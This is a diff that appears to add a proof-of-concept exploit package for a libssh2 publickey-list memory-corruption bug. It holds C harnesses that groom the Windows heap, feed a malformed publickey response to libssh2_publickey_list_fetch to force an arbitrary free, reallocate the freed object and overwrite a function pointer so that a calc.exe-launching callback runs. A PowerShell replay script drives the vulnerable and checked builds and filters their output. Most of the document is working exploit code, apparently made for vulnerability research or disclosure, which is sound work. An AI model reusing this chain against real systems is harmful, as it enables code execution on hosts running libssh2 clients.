fprintf(stderr, "marker_hits=%d\n", marker_hits);
|
||||||
|
return marker_hits;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
LIBSSH2_SESSION session;
|
||||||
|
LIBSSH2_CHANNEL channel;
|
||||||
|
LIBSSH2_PUBLICKEY pkey;
|
||||||
|
libssh2_publickey_list *list = NULL;
|
||||||
|
unsigned long num_keys = 0;
|
||||||
|
int rc;
|
||||||
|
int hits;
|
||||||
|
|
||||||
|
if(argc > 1)
|
||||||
|
terminal_attr = atoi(argv[1]);
|
||||||
|
if(argc > 2 && argv[2][0])
|
||||||
|
terminal_field = argv[2][0];
|
||||||
|
{
|
||||||
|
int argi;
|
||||||
|
for(argi = 3; argi < argc; argi++) {
|
||||||
|
if(!strcmp(argv[argi], "call")) {
|
||||||
|
call_mode = 1;
|
||||||
|
marker_value = (uint32_t)(uintptr_t)reached_marker;
|
||||||
|
}
|
||||||
|
else if(!strcmp(argv[argi], "private"))
|
||||||
|
private_heap_mode = 1;
|
||||||
|
else
|
||||||
|
target_index = atoi(argv[argi]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if(private_heap_mode) {
|
||||||
|
proof_heap = HeapCreate(0, 0, 0);
|
||||||
|
if(!proof_heap)
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
fprintf(stderr, "terminal_attr=%d terminal_field=%c marker=0x%08lx target_index=%d heap=%s\n",
|
||||||
|
terminal_attr, terminal_field, (unsigned long)marker_value,
|
||||||
|
target_index, private_heap_mode ? "private" : "crt");
|
||||||
|
|
||||||
|
memset(&session, 0, sizeof(session));
|
||||||
|
memset(&channel, 0, sizeof(channel));
|
||||||
|
memset(&pkey, 0, sizeof(pkey));
|
||||||
|
|
||||||
|
session.alloc = heap_alloc;
|
||||||
|
session.free = heap_free;
|
||||||
|
session.realloc = heap_realloc;
|
||||||
|
channel.session = &session;
|
||||||
|
pkey.channel = &channel;
|
||||||
|
pkey.version = 2;
|
||||||
|
|
||||||
|
groom_heap();
|
||||||
|
build_attr_spray_response();
|
||||||
|
rc = libssh2_publickey_list_fetch(&pkey, &num_keys, &list);
|
||||||
|
hits = scan_victims();
|
||||||
|
fprintf(stderr, "return rc=%d num_keys=%lu list=%p hits=%d attrs_ptr=%p msize=%lu\n",
|
||||||
|
rc, num_keys, list, hits, attrs_ptr, (unsigned long)attrs_msize);
|
||||||
|
return hits ? 77 : 1;
|
||||||
|
}
|
||||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,410 @@
|
|||||||
|
#include <winsock2.h>
|
||||||
|
#include <windows.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#include "libssh2_priv.h"
|
||||||
|
#include "libssh2_publickey.h"
|
||||||
|
#include "channel.h"
|
||||||
|
|
||||||
|
struct victim {
|
||||||
|
void (*cb)(void);
|
||||||
|
unsigned char pad[120];
|
||||||
|
};
|
||||||
|
|
||||||
|
#define MAX_RECORDS 8192
|
||||||
|
|
||||||
|
struct alloc_record {
|
||||||
|
void *ptr;
|
||||||
|
int live;
|
||||||
|
};
|
||||||
|
|
||||||
|
static HANDLE app_heap;
|
||||||
|
static unsigned char wire[131072];
|
||||||
|
static size_t wire_len;
|
||||||
|
static size_t wire_off;
|
||||||
|
static struct victim *stale_victim;
|
||||||
|
static void *small_guard;
|
||||||
|
static int victim_freed;
|
||||||
|
static int launch_real_calc;
|
||||||
|
static unsigned long heap_free_failures;
|
||||||
|
static struct alloc_record records[MAX_RECORDS];
|
||||||
|
|
||||||
|
static void track_ptr(void *ptr)
|
||||||
|
{
|
||||||
|
size_t i;
|
||||||
|
if(!ptr)
|
||||||
|
return;
|
||||||
|
for(i = 0; i < MAX_RECORDS; i++) {
|
||||||
|
if(!records[i].live) {
|
||||||
|
records[i].ptr = ptr;
|
||||||
|
records[i].live = 1;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static int untrack_ptr(void *ptr)
|
||||||
|
{
|
||||||
|
size_t i;
|
||||||
|
for(i = 0; i < MAX_RECORDS; i++) {
|
||||||
|
if(records[i].live && records[i].ptr == ptr) {
|
||||||
|
records[i].live = 0;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void safe_callback(void)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "safe_callback_reached\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
static void launch_calc_callback(void)
|
||||||
|
{
|
||||||
|
STARTUPINFOA si;
|
||||||
|
PROCESS_INFORMATION pi;
|
||||||
|
char cmd[] = "calc.exe";
|
||||||
|
FILE *f = fopen("x64_calc_payload_reached.txt", "wb");
|
||||||
|
|
||||||
|
if(f) {
|
||||||
|
fputs("x64 calc payload reached\n", f);
|
||||||
|
fclose(f);
|
||||||
|
}
|
||||||
|
|
||||||
|
fprintf(stderr, "calc_payload_reached callback=%p\n",
|
||||||
|
launch_calc_callback);
|
||||||
|
|
||||||
|
if(launch_real_calc) {
|
||||||
|
memset(&si, 0, sizeof(si));
|
||||||
|
memset(&pi, 0, sizeof(pi));
|
||||||
|
si.cb = sizeof(si);
|
||||||
|
if(CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL,
|
||||||
|
&si, &pi)) {
|
||||||
|
fprintf(stderr, "calc_launch=success pid=%lu\n",
|
||||||
|
(unsigned long)pi.dwProcessId);
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
fprintf(stderr, "calc_launch=failed error=%lu\n",
|
||||||
|
(unsigned long)GetLastError());
|
||||||
|
ExitProcess(78);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ExitProcess(77);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void *app_alloc_raw(size_t size)
|
||||||
|
{
|
||||||
|
void *ptr = HeapAlloc(app_heap, 0, size ? size : 1);
|
||||||
|
track_ptr(ptr);
|
||||||
|
return ptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void app_free_raw(void *ptr)
|
||||||
|
{
|
||||||
|
if(ptr) {
|
||||||
|
if(!untrack_ptr(ptr)) {
|
||||||
|
heap_free_failures++;
|
||||||
|
fprintf(stderr, "free_ignored_unknown ptr=%p\n", ptr);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if(HeapFree(app_heap, 0, ptr)) {
|
||||||
|
if(ptr == stale_victim)
|
||||||
|
victim_freed = 1;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
heap_free_failures++;
|
||||||
|
fprintf(stderr, "heap_free_failed ptr=%p error=%lu\n", ptr,
|
||||||
|
(unsigned long)GetLastError());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static LIBSSH2_ALLOC_FUNC(app_alloc)
|
||||||
|
{
|
||||||
|
void *ptr;
|
||||||
|
(void)abstract;
|
||||||
|
ptr = app_alloc_raw(count);
|
||||||
|
fprintf(stderr, "alloc size=%llu ptr=%p\n",
|
||||||
|
(unsigned long long)(count ? count : 1), ptr);
|
||||||
|
return ptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
static LIBSSH2_FREE_FUNC(app_free)
|
||||||
|
{
|
||||||
|
(void)abstract;
|
||||||
|
fprintf(stderr, "free ptr=%p\n", ptr);
|
||||||
|
app_free_raw(ptr);
|
||||||
|
}
|
||||||
|
|
||||||
|
static LIBSSH2_REALLOC_FUNC(app_realloc)
|
||||||
|
{
|
||||||
|
void *newptr;
|
||||||
|
(void)abstract;
|
||||||
|
if(!ptr)
|
||||||
|
return app_alloc(count, abstract);
|
||||||
|
newptr = HeapReAlloc(app_heap, 0, ptr, count ? count : 1);
|
||||||
|
if(newptr) {
|
||||||
|
untrack_ptr(ptr);
|
||||||
|
track_ptr(newptr);
|
||||||
|
}
|
||||||
|
fprintf(stderr, "realloc old=%p size=%llu new=%p\n", ptr,
|
||||||
|
(unsigned long long)(count ? count : 1), newptr);
|
||||||
|
return newptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ssh2_err(LIBSSH2_SESSION *session, int errcode, const char *errmsg)
|
||||||
|
{
|
||||||
|
if(session) {
|
||||||
|
session->err_code = errcode;
|
||||||
|
session->err_msg = (char *)errmsg;
|
||||||
|
}
|
||||||
|
return errcode;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ssh2_err_flags(LIBSSH2_SESSION *session, int errcode, const char *errmsg,
|
||||||
|
int errflags)
|
||||||
|
{
|
||||||
|
(void)errflags;
|
||||||
|
return ssh2_err(session, errcode, errmsg);
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t ssh2_ntohu32(const unsigned char *buf)
|
||||||
|
{
|
||||||
|
return ((uint32_t)buf[0] << 24) | ((uint32_t)buf[1] << 16) |
|
||||||
|
((uint32_t)buf[2] << 8) | (uint32_t)buf[3];
|
||||||
|
}
|
||||||
|
|
||||||
|
void ssh2_htonu32(unsigned char *buf, uint32_t value)
|
||||||
|
{
|
||||||
|
buf[0] = (unsigned char)(value >> 24);
|
||||||
|
buf[1] = (unsigned char)(value >> 16);
|
||||||
|
buf[2] = (unsigned char)(value >> 8);
|
||||||
|
buf[3] = (unsigned char)value;
|
||||||
|
}
|
||||||
|
|
||||||
|
void ssh2_store_u32(unsigned char **buf, uint32_t value)
|
||||||
|
{
|
||||||
|
ssh2_htonu32(*buf, value);
|
||||||
|
*buf += 4;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ssh2_store_str(unsigned char **buf, const char *str, size_t len)
|
||||||
|
{
|
||||||
|
ssh2_store_u32(buf, (uint32_t)len);
|
||||||
|
memcpy(*buf, str, len);
|
||||||
|
*buf += len;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
ssize_t ssh2_channel_write(LIBSSH2_CHANNEL *channel, int stream_id,
|
||||||
|
const unsigned char *buf, size_t buflen)
|
||||||
|
{
|
||||||
|
(void)channel;
|
||||||
|
(void)stream_id;
|
||||||
|
(void)buf;
|
||||||
|
return (ssize_t)buflen;
|
||||||
|
}
|
||||||
|
|
||||||
|
ssize_t ssh2_channel_read(LIBSSH2_CHANNEL *channel, int stream_id,
|
||||||
|
char *buf, size_t buflen)
|
||||||
|
{
|
||||||
|
(void)channel;
|
||||||
|
(void)stream_id;
|
||||||
|
if(wire_off + buflen > wire_len)
|
||||||
|
return -1;
|
||||||
|
memcpy(buf, wire + wire_off, buflen);
|
||||||
|
wire_off += buflen;
|
||||||
|
return (ssize_t)buflen;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ssh2_channel_free(LIBSSH2_CHANNEL *channel)
|
||||||
|
{
|
||||||
|
(void)channel;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ssh2_channel_close(LIBSSH2_CHANNEL *channel)
|
||||||
|
{
|
||||||
|
(void)channel;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int libssh2_session_last_errno(LIBSSH2_SESSION *session)
|
||||||
|
{
|
||||||
|
return session ? session->err_code : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ssh2_wait_socket(LIBSSH2_SESSION *session, time_t start_time)
|
||||||
|
{
|
||||||
|
(void)session;
|
||||||
|
(void)start_time;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
LIBSSH2_CHANNEL *ssh2_channel_open(LIBSSH2_SESSION *session,
|
||||||
|
const char *channel_type,
|
||||||
|
uint32_t channel_type_len,
|
||||||
|
uint32_t window_size,
|
||||||
|
uint32_t packet_size,
|
||||||
|
const unsigned char *message,
|
||||||
|
size_t message_len)
|
||||||
|
{
|
||||||
|
(void)session;
|
||||||
|
(void)channel_type;
|
||||||
|
(void)channel_type_len;
|
||||||
|
(void)window_size;
|
||||||
|
(void)packet_size;
|
||||||
|
(void)message;
|
||||||
|
(void)message_len;
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ssh2_channel_process_startup(LIBSSH2_CHANNEL *channel,
|
||||||
|
const char *request, size_t request_len,
|
||||||
|
const char *message, size_t message_len)
|
||||||
|
{
|
||||||
|
(void)channel;
|
||||||
|
(void)request;
|
||||||
|
(void)request_len;
|
||||||
|
(void)message;
|
||||||
|
(void)message_len;
|
||||||
|
return LIBSSH2_ERROR_SOCKET_NONE;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ssh2_channel_extended_data(LIBSSH2_CHANNEL *channel, int ignore_mode)
|
||||||
|
{
|
||||||
|
(void)channel;
|
||||||
|
(void)ignore_mode;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void *ssh2_calloc(LIBSSH2_SESSION *session, size_t size)
|
||||||
|
{
|
||||||
|
void *ptr = app_alloc(size, session ? session->abstract : NULL);
|
||||||
|
if(ptr)
|
||||||
|
memset(ptr, 0, size);
|
||||||
|
return ptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
static unsigned char *put_string(unsigned char *p, const char *s)
|
||||||
|
{
|
||||||
|
size_t len = strlen(s);
|
||||||
|
ssh2_store_u32(&p, (uint32_t)len);
|
||||||
|
memcpy(p, s, len);
|
||||||
|
return p + len;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void append_version_groom(uintptr_t attrs_ptr)
|
||||||
|
{
|
||||||
|
size_t payload_len = 9 * sizeof(libssh2_publickey_list);
|
||||||
|
unsigned char *start = wire + wire_len;
|
||||||
|
unsigned char *payload = start + 4;
|
||||||
|
unsigned char *p;
|
||||||
|
|
||||||
|
ssh2_htonu32(start, (uint32_t)payload_len);
|
||||||
|
memset(payload, 0, payload_len);
|
||||||
|
p = put_string(payload, "version");
|
||||||
|
memset(p, 0, payload_len - (size_t)(p - payload));
|
||||||
|
memcpy(payload + offsetof(libssh2_publickey_list, attrs),
|
||||||
|
&attrs_ptr, sizeof(attrs_ptr));
|
||||||
|
wire_len += 4 + payload_len;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void append_malformed_publickey(void)
|
||||||
|
{
|
||||||
|
unsigned char payload[64];
|
||||||
|
unsigned char *p = payload;
|
||||||
|
|
||||||
|
p = put_string(p, "publickey");
|
||||||
|
p = put_string(p, "n");
|
||||||
|
*p++ = 0;
|
||||||
|
ssh2_htonu32(wire + wire_len, (uint32_t)(p - payload));
|
||||||
|
memcpy(wire + wire_len + 4, payload, (size_t)(p - payload));
|
||||||
|
wire_len += 4 + (size_t)(p - payload);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int run_once(void)
|
||||||
|
{
|
||||||
|
LIBSSH2_SESSION session;
|
||||||
|
LIBSSH2_CHANNEL channel;
|
||||||
|
LIBSSH2_PUBLICKEY pkey;
|
||||||
|
libssh2_publickey_list *list = NULL;
|
||||||
|
unsigned long num_keys = 0;
|
||||||
|
struct victim payload;
|
||||||
|
struct victim *replacement;
|
||||||
|
int rc;
|
||||||
|
|
||||||
|
memset(&session, 0, sizeof(session));
|
||||||
|
memset(&channel, 0, sizeof(channel));
|
||||||
|
memset(&pkey, 0, sizeof(pkey));
|
||||||
|
memset(&payload, 0x43, sizeof(payload));
|
||||||
|
|
||||||
|
stale_victim = app_alloc_raw(sizeof(*stale_victim));
|
||||||
|
if(!stale_victim)
|
||||||
|
return 70;
|
||||||
|
memset(stale_victim, 0x42, sizeof(*stale_victim));
|
||||||
|
stale_victim->cb = safe_callback;
|
||||||
|
|
||||||
|
payload.cb = launch_calc_callback;
|
||||||
|
|
||||||
|
fprintf(stderr,
|
||||||
|
"victim=%p victim_size=%llu replacement_callback=%p list_entry_size=%llu attrs_off=%llu\n",
|
||||||
|
stale_victim, (unsigned long long)sizeof(*stale_victim),
|
||||||
|
launch_calc_callback,
|
||||||
|
(unsigned long long)sizeof(libssh2_publickey_list),
|
||||||
|
(unsigned long long)offsetof(libssh2_publickey_list, attrs));
|
||||||
|
|
||||||
|
{
|
||||||
|
void *small_prime = app_alloc_raw(19);
|
||||||
|
small_guard = app_alloc_raw(64);
|
||||||
|
fprintf(stderr, "small_prime=%p size=19 small_guard=%p size=64\n",
|
||||||
|
small_prime, small_guard);
|
||||||
|
app_free_raw(small_prime);
|
||||||
|
}
|
||||||
|
|
||||||
|
session.alloc = app_alloc;
|
||||||
|
session.free = app_free;
|
||||||
|
session.realloc = app_realloc;
|
||||||
|
channel.session = &session;
|
||||||
|
pkey.channel = &channel;
|
||||||
|
pkey.version = 2;
|
||||||
|
|
||||||
|
append_version_groom((uintptr_t)stale_victim);
|
||||||
|
append_malformed_publickey();
|
||||||
|
|
||||||
|
rc = libssh2_publickey_list_fetch(&pkey, &num_keys, &list);
|
||||||
|
fprintf(stderr,
|
||||||
|
"fetch rc=%d num_keys=%lu victim_freed=%d heap_free_failures=%lu\n",
|
||||||
|
rc, num_keys, victim_freed, heap_free_failures);
|
||||||
|
|
||||||
|
replacement = app_alloc_raw(sizeof(*replacement));
|
||||||
|
fprintf(stderr, "replacement=%p same_as_victim=%d\n", replacement,
|
||||||
|
replacement == stale_victim);
|
||||||
|
if(replacement)
|
||||||
|
memcpy(replacement, &payload, sizeof(payload));
|
||||||
|
|
||||||
|
fprintf(stderr, "triggering_stale_callback cb=%p\n", stale_victim->cb);
|
||||||
|
stale_victim->cb();
|
||||||
|
|
||||||
|
return victim_freed ? 2 : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
if(argc > 1 && !strcmp(argv[1], "calc"))
|
||||||
|
launch_real_calc = 1;
|
||||||
|
|
||||||
|
app_heap = HeapCreate(0, 0, 0);
|
||||||
|
if(!app_heap)
|
||||||
|
return 69;
|
||||||
|
|
||||||
|
return run_once();
|
||||||
|
}
|
||||||
Binary file not shown.
Binary file not shown.
76
libssh2-publickey-list-calc-poc/replay-calc-poc.ps1
Normal file
76
libssh2-publickey-list-calc-poc/replay-calc-poc.ps1
Normal file
@@ -0,0 +1,76 @@
|
|||||||
|
$ErrorActionPreference = "Continue"
|
||||||
|
|
||||||
|
$Root = Split-Path -Parent $MyInvocation.MyCommand.Path
|
||||||
|
$Poc = Join-Path $Root "poc"
|
||||||
|
Set-Location -LiteralPath $Root
|
||||||
|
|
||||||
|
function Show-Matches($text, $patterns) {
|
||||||
|
$pattern = [string]::Join("|", $patterns)
|
||||||
|
$text | Select-String -Pattern $pattern
|
||||||
|
}
|
||||||
|
|
||||||
|
Remove-Item -LiteralPath (Join-Path $Root "x86_calc_payload_reached.txt") -ErrorAction SilentlyContinue
|
||||||
|
Remove-Item -LiteralPath (Join-Path $Root "x64_calc_payload_reached.txt") -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
Write-Output "== Win32 publickey-list calc chain =="
|
||||||
|
$x86v = Join-Path $Poc "publickey_win32_heap_groom_calc_repro.exe"
|
||||||
|
$x86c = Join-Path $Poc "publickey_win32_heap_groom_calc_repro_checked.exe"
|
||||||
|
$x86Args = @("3", "n", "call", "4068")
|
||||||
|
$hit = 0
|
||||||
|
$hitOut = $null
|
||||||
|
|
||||||
|
for($i = 1; $i -le 30; $i++) {
|
||||||
|
$out = & $x86v @x86Args 2>&1
|
||||||
|
if($LASTEXITCODE -eq 77) {
|
||||||
|
$hit = $i
|
||||||
|
$hitOut = $out
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if($hit) {
|
||||||
|
Write-Output "x86_vulnerable_calc=hit attempt=$hit limit=30"
|
||||||
|
Show-Matches $hitOut @("attrs_alloc", "victim\[", "marker_function_reached", "calc_launch")
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Write-Output "x86_vulnerable_calc=miss limit=30"
|
||||||
|
}
|
||||||
|
|
||||||
|
if(Test-Path (Join-Path $Root "x86_calc_payload_reached.txt")) {
|
||||||
|
Get-Content (Join-Path $Root "x86_calc_payload_reached.txt")
|
||||||
|
}
|
||||||
|
|
||||||
|
$checkedHit = 0
|
||||||
|
for($i = 1; $i -le 30; $i++) {
|
||||||
|
& $x86c @x86Args *> $null
|
||||||
|
if($LASTEXITCODE -eq 77) {
|
||||||
|
$checkedHit = $i
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if($checkedHit) {
|
||||||
|
Write-Output "x86_checked_calc=unexpected_hit attempt=$checkedHit limit=30"
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Write-Output "x86_checked_calc=no_hit limit=30"
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Output ""
|
||||||
|
Write-Output "== Win64 publickey-list calc chain =="
|
||||||
|
$x64v = Join-Path $Poc "publickey_win64_arbitrary_free_calc_repro.exe"
|
||||||
|
$x64c = Join-Path $Poc "publickey_win64_arbitrary_free_calc_repro_checked.exe"
|
||||||
|
$x64Out = & $x64v calc 2>&1
|
||||||
|
$x64Exit = $LASTEXITCODE
|
||||||
|
|
||||||
|
Write-Output "x64_vulnerable_calc_exit=$x64Exit"
|
||||||
|
Show-Matches $x64Out @("victim=", "free ptr=", "free_ignored_unknown", "victim_freed=", "same_as_victim=1", "calc_payload_reached", "calc_launch")
|
||||||
|
|
||||||
|
if(Test-Path (Join-Path $Root "x64_calc_payload_reached.txt")) {
|
||||||
|
Get-Content (Join-Path $Root "x64_calc_payload_reached.txt")
|
||||||
|
}
|
||||||
|
|
||||||
|
$x64CheckedOut = & $x64c calc 2>&1
|
||||||
|
$x64CheckedExit = $LASTEXITCODE
|
||||||
|
Write-Output "x64_checked_calc_exit=$x64CheckedExit"
|
||||||
|
Show-Matches $x64CheckedOut @("victim_freed=", "same_as_victim=", "safe_callback_reached", "calc_payload_reached", "calc_launch")
|
||||||
Reference in New Issue
Block a user